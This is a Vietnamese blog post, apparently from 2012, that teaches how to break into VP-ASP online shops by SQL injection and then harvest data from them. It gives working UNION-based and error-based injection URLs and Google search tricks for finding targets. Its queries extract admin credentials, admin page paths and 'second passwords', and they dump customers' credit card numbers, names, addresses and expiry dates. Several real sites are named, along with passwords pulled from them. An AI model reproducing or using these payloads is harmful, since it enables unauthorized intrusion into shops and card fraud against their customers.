SQL Injection 2

0- HƯỚNG DẪN HACK SHOP 2 PASS VPASP CẤP 1 -0~

MẤY BÁC CỨ MUỐN HỌC HACK SHOP 2 PASS HOÀI : SHOP 2 PASS TUI TẠM THỜI PHÂN RA LÀM 3 CẤP




CẤP 1 : LỖI JETDATA TẠI : shopexd.asp?id='

CẤP 2 : LỖI JETDATA KHÔNG PHẢI TẠI : shopexd.asp?id='

CẤP 3: LỖI SQL



DĨ NHIÊN TUI CHỈ CÁC BÁC LOẠI CẤP 1 THUI CÒN 2 TUYỆT CHIÊU CÒN LẠI TUI ĐỂ MẦN ĂN CHỨ. SAU NHIỀU LẦN CHAT VỚI THẰNG CHA ADMIN anh_ la heo gi` đó . tui khẳng định chã củng chỉ biết hack shop câp 1 thui h ehe

sorry admin



BƯỚC 1: CẦN DOWN LOAD TRÌNH DUYỆT WEB MOZILLA (Firefox Y')

BƯỚC 2: LÊN GOOGLE KIỀM SHOP 2 PASS VPASP



BƯỚC 3: HACK







VÍ DỤ CỤ THỂ NHÉ : LÊN GOOGLE TÌM ĐƯƠC CÁI LINK NỲ

http://www.debrabeagle.com/shop/shopdispla....asp?id=17'

CHÚNG TA SE THAY

shopdisplayproducts.asp?id=17' =shopexd.asp?id='

http://www.debrabeagle.com/shop/shopexd.asp?id='



ĐẦU TIÊN LẤY PASS 1:

shopexd.asp?id=1%20%20union%20select%201,2,3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpass word,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41,42,43,44,45,46,47%20from%20tbluser%27% 20where%201=1



OKE GO~ TOI 53 NO RA LỖI TAI 27



THAY CHO~ 27 =fldusername%2b%27/%27%2bfldpassword

http://www.debrabeagle.com/shop/

shopexd.asp?id=1%20union%20select%201,2,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,fldusername%2b%27/%27%2bfldpassword,28,29,30,31,32,33,34,35,36,37,38 ,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53%20fr om%20tbluser%27%20where%201=1

Cannot read rotj/starwars





OKE CÓ PASS 1 RÔI` GIỜ TÌM LINK ADMIN NHÁ





THAY CHO~ 27 HỒI NÃY BẰNG fieldname%2b%27/%27%2bfieldvalue



CODE NO NHU SAU
http://www.debrabeagle.com/shop/

shopexd.asp?id=1%20union%20select%201,2,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,fieldname%2b%27/%27%2bfieldvalue,28,29,30,31,32,33,34,35,36,37,38, 39,40,41,42,43,44,45,46,47,48,49,50,51,52,53%20fro m%20configuration%20where%20fieldname='xadminpage'





Cannot read xadminpage/shopadmin.asp





oke bây giờ tìm pass 2: cung chinh` doan code tim link admin



ngay số 3 chung ta thay bằng fieldname

ngay số 27 ( bị lỗi) thay bằng fieldvalue



code nhu sau

shopexd.asp?id=1%20union%20select%201,2,fieldname, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23,24,25,26,fieldvalue,28,29,30,31,32,33,34,35,36 ,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,5 3%20from%20configuration%20where%20fieldname='xadm inpage'











link cu the?

http://www.debrabeagle.com/shop/

shopexd.asp?id=1%20union%20select%201,2,fieldname, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23,24,25,26,fieldvalue,28,29,30,31,32,33,34,35,36 ,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,5 3%20from%20configuration%20where%20fieldname='xadm inpage'





wow wow pass 2 ra rồi



use second password enter a value below const SecondPassword="frizzle#05" '



dòng phía trên ấy



LỖi sql



site thực tập
http://www.***ydepot.com/

bõ sau nó shopexd.asp?id=1

oke
http://www.***ydepot.com/shopexd.asp?id=1'



Microsoft OLE DB Provider for ODBC Drivers error '80040e14'



[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.



/shopexd.asp, line 64



lấy pass1 :



%2bconvert(int,(select%20top%201%20fldusername%2b' /'%2bfldpassword%20from%20tbluser))--sp_password

http://www.***ydepot.com/shopexd.asp?id=1

%20%2bconvert(int,(select%20top%201%20fldusername% 2b'%20/'%2bfldpassword%20from%20tbluser))--sp_password



'mamak12 /rpt918'



oke bây giờ lấy link admin



%2bconvert(int,(select%20top%201%20fieldname%2b'/'%2bfieldvalue%20from%20configuration%20where%20fi eldname%20='xadminpage'))--sp_password

http://www.***ydepot.com/shopexd.asp?id=1

%20%2bconvert(int,(select%20top%201%20fieldname%2b '/'%2bfieldvalue%20from%20configuration%20where%20fi eldname%20='xadminpage'))--sp_password



'xadminpage/mmk88.asp'





. bây giờ lấy pass 2



quá đơn giãn

http://www.***ydepot.com/shopexd.asp?id=-1



cũng như lỗi jet dùng lệnh union thôi



shop này gõ tới 47 ra pass 2
http://www.***ydepot.com/shopexd.asp?id=1



union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue,28, 29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 ,46,47%20from%20configuration%20where%%20fieldname %20='xadminpage'



SecondPassword="8ziy78"



wow vậy là oke



Part I

-------------------------------------------------------------



Cách tìm kiếm shop vp asp:



Đa số shop vp asp bị lỗi 3 chỗ này:

1-shopdisplaysproducts.asp?[tham số theo sau]

2-shopexd.asp?[tham số theo sau]

3-shoptellafriend.asp?[tham số theo sau]



Vì vậy khi gặp 1 shop vp asp, bạn nên thử luôn 3 chỗ này xem có bị lỗi không.



Nếu bạn chưa có shop nào để hack, thử sử dụng google để tìm kiếm: Sử dụng từ khóa inurl:[nội dung muốn xuất hiện trên url]

Nếu bạn muốn tìm chính xác hơn nữa băng cách thêm tham số sau nó, hãy sử dụng từ khóa: allinurl:[nội dung muốn xuất hiện trên url]



Cách thử lỗi:



Sử dụng dấu quote để thử: '

Truyền dấu ' đến các tham số bằng cách thêm nó vào sau giá trị của các biến. Ví dụ:

shopexd.asp?[tham số thứ nhất]=[gia tri thứ nhất]&[tham số thứ 2]=[giá trị thứ 2]&....

-> thử lỗi tham sô thứ nhất: shopexd.asp?[tham số thứ nhất]=[giá trị thứ nhất]'&....



Nếu truyền cho tham số thứ nhất và lỗi không xuất hiện, hãy thử cho tham số thứ 2.



Nếu trang đó bị lỗi, nó sẽ xuất hiện thông báo cho bạn, nhin lên dòng thông báo đó, bạn có thể nhận biết cơ sở dữ liệu của nó sử dụng là gì: Đa số chỉ có 2 dạng là Microsoft Access và SQL Server:



Microsoft OLE DB Provider for ODBC Drivers error '80040e14'



[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.



/shopping/$.asp, line 365



hoặc dạng khác, như Jet Database v..v... thì nó sử dụng M Access



Cơ sở dữ liệu của shop VP ASP:



Có các table sau: affiliatelog, affiliates, billing, categories, configuration, configuration1, coupons, customerprices, customers, downloads, gifts, hackers, languages, mycompany, oitems, orders, ordertracking, pinnumbers, prodcategories, prodfeatures, products, projects, quantitydiscounts, registrant, registryitems, reviews, savedcarts, searchresults, shipmethods, suppliers, tblaccess, tbllog, tbluser, tamplates.



Những table quan trọng:



-Orders: Chứa ci ci ^ ^

-tblUser: Chứa username và pass của admin

-configuration: chứa link admin, và cấu hình cho shop



Những column của 3 table trên:



-Orders: orderid, ocustomerid, odate, orderamount, ofirstname, olastname, oemail, oaddress, ocity, opostcode, ostate, ocountry, ophone, ofax, ocompany, ocardtype, ocardno, ocardname, ocardexpires, ocardaddress, oprocessed, ocomment, otax, opromisedshipdate, oshippeddate, oshipmethod, oshipcost, oshipname, oshipcompany, oshipemail, oshipmethodtype, oshipaddress, oshiptown, oshipzip, oshipstate, oshipcountry, opaymethod, other1, other2, otime, oauthorization, oerrors, odiscount ostatus, oaffid, odualtotal, odualtaxes, odualshipping, odualdiscount, ohandling, odualhandling, coupon, coupondiscount, coupondiscount, giftcertificate, giftamountused, vatnumber, ipaddress, hackeryesno, opending, shipmessage, hearaboutus.

-> chừng này column là đầy đủ info của card: odate, oemail, oaddress, ocity, opostcode, ostate, ocountry, ophone, ocardtype, ocardname, ocardno, ocardexpires, oauthorization.



-tblUser: fldauto, fldusername, fldpassword, fldaccess, flddatabase

-> fldusername, fldpassword <-- chứa username và pass admin



-configuration: id, fieldname, fieldvalue, fieldgroup, fieldyesno

-> ăn thua là fieldname và fieldvalue. Tại record thứ 16 là nơi chứa link admin . Giá trị của fieldname tại đấy là: xadminpage, còn fieldvalue thì phải hack mới biết ^ ^, yami ko phải là thầy bói ^ ^. Nhưng value mặc định của fieldvalue là: shopadmin.asp



Hack shop:



ví dụ trang sau bị lỗi: hxxp://yami.com/shopdisplayproducts.asp?Cat=book&catid=3



Lỗi ở tham số thứ 2.



Đối với M Access:



-Tìm username và pass của admin:



code: %20union select 1 from tbluser'



hxxp://yami.com/shopdisplayproducts.asp?Cat=book&catid=3%20union select 1 from tbluser'



Và các shop thì ko bao giờ chỉ có 1 column trong db nên chắc chắn nó sẽ báo:



The number of columns in the two selected tables or queries of a union query do not match.



Đa số các cột thường lớn hơn 30, nên tôt nhất là thử từ số 30:



code: %20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30 from tbluser'



mục đích đánh số thứ tự, chẳng qua là chỉ để phân biệt các column với nhau, nên bạn không cần phải để ý rằng: "Liệu mình có gõ theo đúng thứ tự chưa..." Thậm chí bạn có thể không cần phải gõ theo thứ tự: %20union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1 from tbluser'

Nhưng khi phát sinh lỗi cần thiết thì lại không phân biệt được column nào mà thôi.



Tiếp tục: hxxp://yami.com/shopdisplayproducts.asp?Cat=book&catid=3%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30 from tbluser'



Nếu lại hiện ra lỗi trên thì nghĩa là chưa đúng số column cần thiết, bạn phải thêm vào, bây giờ tăng lên 31, nếu vẫn chưa đúng lại tăng lên 32 ... cho đến khi ko còn lỗi, mà thay vào đó..., bạn hãy chú ý, sẽ có những con số rất lạ, xuất hiện bất thường trên trang web này. Ví dụ như 4, 22 hay bấy kì số nào...(đưong nhiên những số này phải là những số mà bạn đã type trên code)



Ví dụ trên web xuất hiện số 4 và 3. Mình sử dụng số 3 cho việc khai thác u va p của admin. Nhìn lên code, tìm chỗ nào có số 3 rồi thay bằng: fldusername%2b'/'%2bfldpassword.

code: %20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser'



Nhấn enter và chỗ số 3 bất thường đó sẽ biến thành username/password ^ ^



-Tìm link admin:



link mặc định là shopadmin.asp, thử thay shopdisplayproducts.asp... thanh shopadmin.asp. Nếu không được thi... đành tự kiếm thôi



và nó nằm ở đâu, như ở trên đã nói nó nằm tại bảng configuration:

vẫn giữ nguyên số cột mà bạn đã khai thác được, thay column đầu bằng fieldname='xadminpage', thay column lỗi-muốn hiển thị bằng fieldvalue (ở đây là số 3)



%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from configuration'



1 là bạn sẽ có link admin, 2 là sẽ gặp dòng thông báo này:



The Microsoft Jet database engine cannot find the input table or query 'configuration'. Make sure it exists and that its name is spelled correctly.



Nó báo thế nghĩa là không có bảng config -> thằng admin đã xóa bảng confing và hết lấy link admin



Nếu bạn không có được link admin, bạn vẫn có thể get cici như thường, bằng cách truy vấn table orders.



code (cũng dán tại column số 3): %20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from orders'



Thay số 3 bằng cái này: odate%2b'/'%2bofirstname%2b'/'%2bolastname%2b'/'%2boaddress%2b'/'%2bocity%2b'/'%2bostate%2b'/'%2b

opostcode%2b'/'%2bocountry%2b'/'%2bophone%2b'/'%2bocardno%2b'/'%2bocardname%2b'/'%2bocardexpires%2b'/'%2boauthorization



Nếu không hiện gì ra, nghĩa là shop đó không có cici ^ ^



- Hack Pass thứ 2:



Nếu bạn có link admin, nhưng shop này có tới 2 pass: Kiếm đâu ra pass thứ 2 bây giờ?



Không có gì khó, nhưng bạn phải xem trang đó có bị lỗi tại page: shopexd.asp hay không, nếu không có lỗi tại đó thì... khỏi kiếm pass 2 lun ^ ^.



Cách hack như trên, giả sử tại page này column 20 bị lỗi



Dùng code như khi kiếm link admin tại chỗ này:

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from configuration'



Rồi, nếu ok nó sẽ sổ ra mã nguồn asp của trang admin, và bạn sẽ nhìn thấy pass 2 tại dòng lênh: Const SecondPassword="pass 2"



Tiếp, nếu bạn muốn tìm link admin tại page này thì phải dùng code sau:

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from configuration'



nếu nó vẫn ra mã nguồn, thì nghĩa là số kí tự của link admin nhỏ hơn 9 hoặc bằng 9, bạn thay 9 bằng số 7. -> giả sử nó sẽ hiện ra thế này: shoa.as Nhìn thể này thì đủ biết link admin là gì rồi. Còn nếu dùng code trên mà nó chưa hiện ra dấu . thì bạn chưa thể khẳng định được, thì hãy tăng lên, thay 9 bằng 11 hoặc 12 v..v.... Cứ thế



-Shop VP ASP sử dụng SQL Server



Không giống như MS Access, SQL Server có một table mặc định chứa tất cả tên của table và column của cơ sở dữ liệu đó. Table đó tên là: information_schema



Các trang buôn bán, ng ta không phải ai cũng biết lập trình web nên có thể họ mua bất kì script của một cá nhân hoặc một công ty nào đó, giống như script của vp asp vậy. Có thể bạn biết shop đó hiện đang dùng script gì, bạn có thể mua bản đó về cài offline và nghiên cứu từ csdl đến cấu trúc site để tìm ra lỗi của nó. Xong đối với những shop dùng csdl là SQL Server thì có thể bạn không cần phải làm vậy.



Nhờ có hàm convert bạn có thể cố ý biến đổi kiểu dữ liệu của nó để gây ra lỗi. Nên cách khai thác kiểu này nhanh hơn cách dùng cho access. Và đối với access bạn phải biết trước tên của đối tượng cần truy vấn.



~~~~



code khai thác tên các table:

%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password



code khai thác tên các column:

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('[tên của table cần khai thác column]')))--sp_password



code khai thác giá trị của các column:

%20and 1=convert(int,(select top 1 [tên column 1] %2b '/' %2b [tên column 2] from tbluser))--sp_password



~~~~



Xong vì đối với shop vp asp, tên của các table và column đều đã được public cả rồi nên code sau dùng để khai thác một cách nhanh chóng.



Tìm username và pass của admin:



%20and 1=convert(int,(select top 1 fldusername %2b '/' %2b fldpassword from tbluser))--sp_password



hxxp://yami.com/shopdisplayproducts.asp?Cat=book&catid=3%20and 1=convert(int,(select top 1 fldusername %2b '/' %2b fldpassword from tbluser))--sp_password



Tim link admin:



%20and 1=convert(int,(select top 1 fieldname%2b'/'%2bfieldvalue from configuration where fieldname='xadminpage'))--sp_password



Nếu không có link admin bạn có thể khai thác cc bằng cách sau:



%20and%201=convert(int,(select%20top%201%20convert (char,(odate))%2b'/'%2bofirstname%2b'/'%2bolastname%2b'/'%2boaddress

%2b'/'%2bocity%2b'/'%2bostate%2b'/'%2bopostcode%2b'/'%2bocountry%2b'/'%2bophone%2b'/'%2bocardno%2b'/'%2bocardname

%2b'/'%2bocardexpires%2b'/'%2boauthorization%20from%20orders where ocardno%20not%20in('') and right(ocardexpires,2) not in('05')))--sp_password



(Đoạn code dài quá nên ngắt làm 3 phần, các bạn copy thì nhớ cẩn thận nha)



code trên có nghĩa khai thác toàn bộ thông tin của card mà có ngày hết hạn không phải là năm 2005. Mỗi khi nhận được 1 cvv, bạn copy cc number vào phần ocardno not in(''). Ví dụ bạn nhận được cái cảd 4111111111111111 thì để lấy cái tiếp theo sao không cho nó trùng lặp thi thêm vào cho ocardno not in('','4111111111111111'). Ngăn cách bằng dấu ,



Đoạn code trên có chỗ convert(char,(odate)) có nghĩa nó sẽ chuyển trước giá trị là day time sang kiểu char trước khi chuyển sang kiểu int. Vì nếu bạn chuyển ngay sang kiểu int thì khoảng giá trị là ngoài vùng được chọn và sẽ mang lại kết quả không mong đợi. Đó là lý do vì sao nhiều bạn hack shop qua lỗi Sql inject lại không lấy được trường ngày tháng.



Tiếp theo về pass 2. Làm sao để tìm? Sử dụng code sau, và bạn lại phải 1 lần nữa ngồi đoán số column:



%20union select top 1 1,2,3,4,5,6... from configuration



Cũng giống như cách hack đối với Access nhưng chỉ khác là có thêm top 1

About : megagame và bài viết __ SQL Injection 2

Bài viết SQL Injection 2 Được viết bởi tác giả megagame vào lúc Thứ Tư, 29 tháng 2, 2012.
Cảm ơn bạn đã tham quan Blog và ghé xem bài viết này

Nếu có vấn đề thắc mắc hoặc cần thảo luận, hãy comment cho chúng tôi ở phía dưới nhé

Thanks you!


 

0 nhận xét:

Đăng nhận xét